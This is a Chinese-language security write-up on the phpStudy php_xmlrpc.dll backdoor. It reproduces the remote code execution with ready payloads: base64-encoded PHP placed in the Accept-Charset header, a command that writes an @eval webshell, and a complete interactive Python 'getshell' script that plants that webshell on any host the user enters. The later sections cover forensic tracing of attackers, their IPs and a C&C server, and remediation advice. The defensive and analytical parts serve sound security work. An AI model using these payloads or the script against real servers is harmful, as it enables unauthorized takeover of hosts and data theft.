phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析
字数 1713 2025-08-18 11:39:00
phpStudy远程RCE漏洞复现与沦陷主机入侵溯源分析
漏洞概述
phpStudy是一款流行的PHP集成环境软件,2019年发现其多个版本存在后门漏洞。该后门存在于php_xmlrpc.dll文件中,具有远程代码执行(RCE)能力,且具有免杀特性,无法被常规杀毒软件检测。
受影响版本
-
phpStudy20161103
- 后门位置:
*\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
- 后门位置:
-
phpStudy20180211
- 后门位置:
*\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll*\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll
- 后门位置:
漏洞检测方法
- 定位php_xmlrpc.dll文件
- 用文本编辑器打开该文件
- 搜索字符串"@eva",若存在则确认存在后门
漏洞复现步骤
环境准备
- VMware Workstation Pro
- Windows 7/2008R2系统
- BurpSuite Free
- phpStudy20161103或phpStudy20180211
复现过程
- 搭建phpStudy环境(示例IP:192.168.1.91)
- 浏览器访问靶机地址:http://192.168.1.91/
- 配置浏览器代理,使用BurpSuite抓包
RCE POC构造
基本请求格式:
GET / HTTP/1.1
Host: 192.168.1.91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Accept-Charset: "command base64 string"
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
关键点:
- 将待执行的PHP代码进行Base64编码
- 放入
Accept-Charset头部(需删除引号内的空格)
示例命令执行
-
执行
whoami命令:- PHP代码:
system('whoami'); - Base64编码:
c3lzdGVtKCd3aG9hbWknKTs= - 构造的Accept-Charset:
Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=
- PHP代码:
-
写入Webshell:
- 命令:
ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php - PHP代码:
system('ECHO ^<?php @eval($_POST[cmd]);?^>>"C:/phpStudy/WWW/demon.php'); - Base64编码:
c3lzdGVtKCdFQ0hPIF48P3BocCBAZXZhbCgkX1BPU1RbY21kXSk7ID9ePj4iQzovcGhwU3R1ZHkvV1dXL2RlbW9uLnBocCAnKTs=
- 命令:
Python自动化利用脚本
import base64
import requests
print("Phpstudy 2016/2018 远程 RCE Getshell工具 <By:艾登——皮尔斯>")
print("[+]脚本仅用学习教育目的")
print("[+]请您务必遵守《中华人民共和国网络安全法》")
def write_shell(url, headers):
r = requests.get(url=url, headers=headers)
cheack_webshell = requests.get(url+"/demon.php")
if cheack_webshell.status_code == 200:
print("\n\n[+]{} Webshell写入成功".format(url))
else:
print("\n\n[+]{} Webshell写入失败".format(url))
print("\n\n")
while True:
path = input(str("请你输入绝对路径:"))
url = input(str("请你输入IP地址/域名:"))
payload_qury = """system('ECHO ^<?php @eval($_POST[cmd]);?^>>"{}"');""".format(path)
payload = base64.b64encode(payload_qury.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Language': 'zh-CN,zh;q=0.9',
'accept-charset': payload,
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
}
write_shell(url=url, headers=headers)
沦陷主机入侵溯源分析
常见攻击特征
-
高频出现的Webshell文件名:
- lishunsheng.php
- 001122.php
- demon.php
- test.php
-
攻击者常用手法:
- 通过echo方式写入Webshell
- 利用phpMyAdmin弱口令登录
- 上传不死马后门
溯源技术
- 修改Webshell记录访问者信息:
<?php
$address = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$file = fopen("log.html", "a");
$time = time();
$now_date= date('Y-m-d H:i:s',$time);
fwrite($file, "<b>Time:$now_date</b><br>");
fwrite($file, "<b>IP Address:$address</b><br>");
fwrite($file, "<b>Referer:$referer</b><br>");
fwrite($file, "<b>Browser:$browser</b><br/><hr>");
fclose($file);
@eval($_POST[ppass]);
?>
- 发现的攻击者IP及归属地:
- 149.129.98.81 - 香港阿里云
- 23.223.201.26 - 美国乔治亚州亚特兰大
- 72.21.81.189 - 美国加利福尼亚
攻击者画像分析
-
使用的恶意软件特征:
- 文件名:cd.exe
- 行为:
- 运行后删除自身
- 复制到C:\Windows目录
- 修改注册表降低安全设置
- 连接C&C服务器:114.67.65.156:8081
-
攻击工具:
- 使用PowerShell反射注入工具(inJoin.ps1)
- 上线地址:117.21.224.222:9898(江西赣州)
修复建议
- 立即升级到phpStudy最新版本
- 修改所有服务器密码
- 检查系统日志,全盘查杀后门
- 生产环境避免使用一键部署软件
- 关注安全情报平台(微步、黑鸟、快识等)
参考资源
- phpStudy后门简要分析
- 数十万PhpStudy用户被植入后门相关报告
- 杭州警方"净网2019"专项行动战果通报
- 病毒团伙利用phpStudy RCE漏洞分析报告
- 渗透技巧相关文档
注:本文技术内容仅用于教育目的,请遵守《中华人民共和国网络安全法》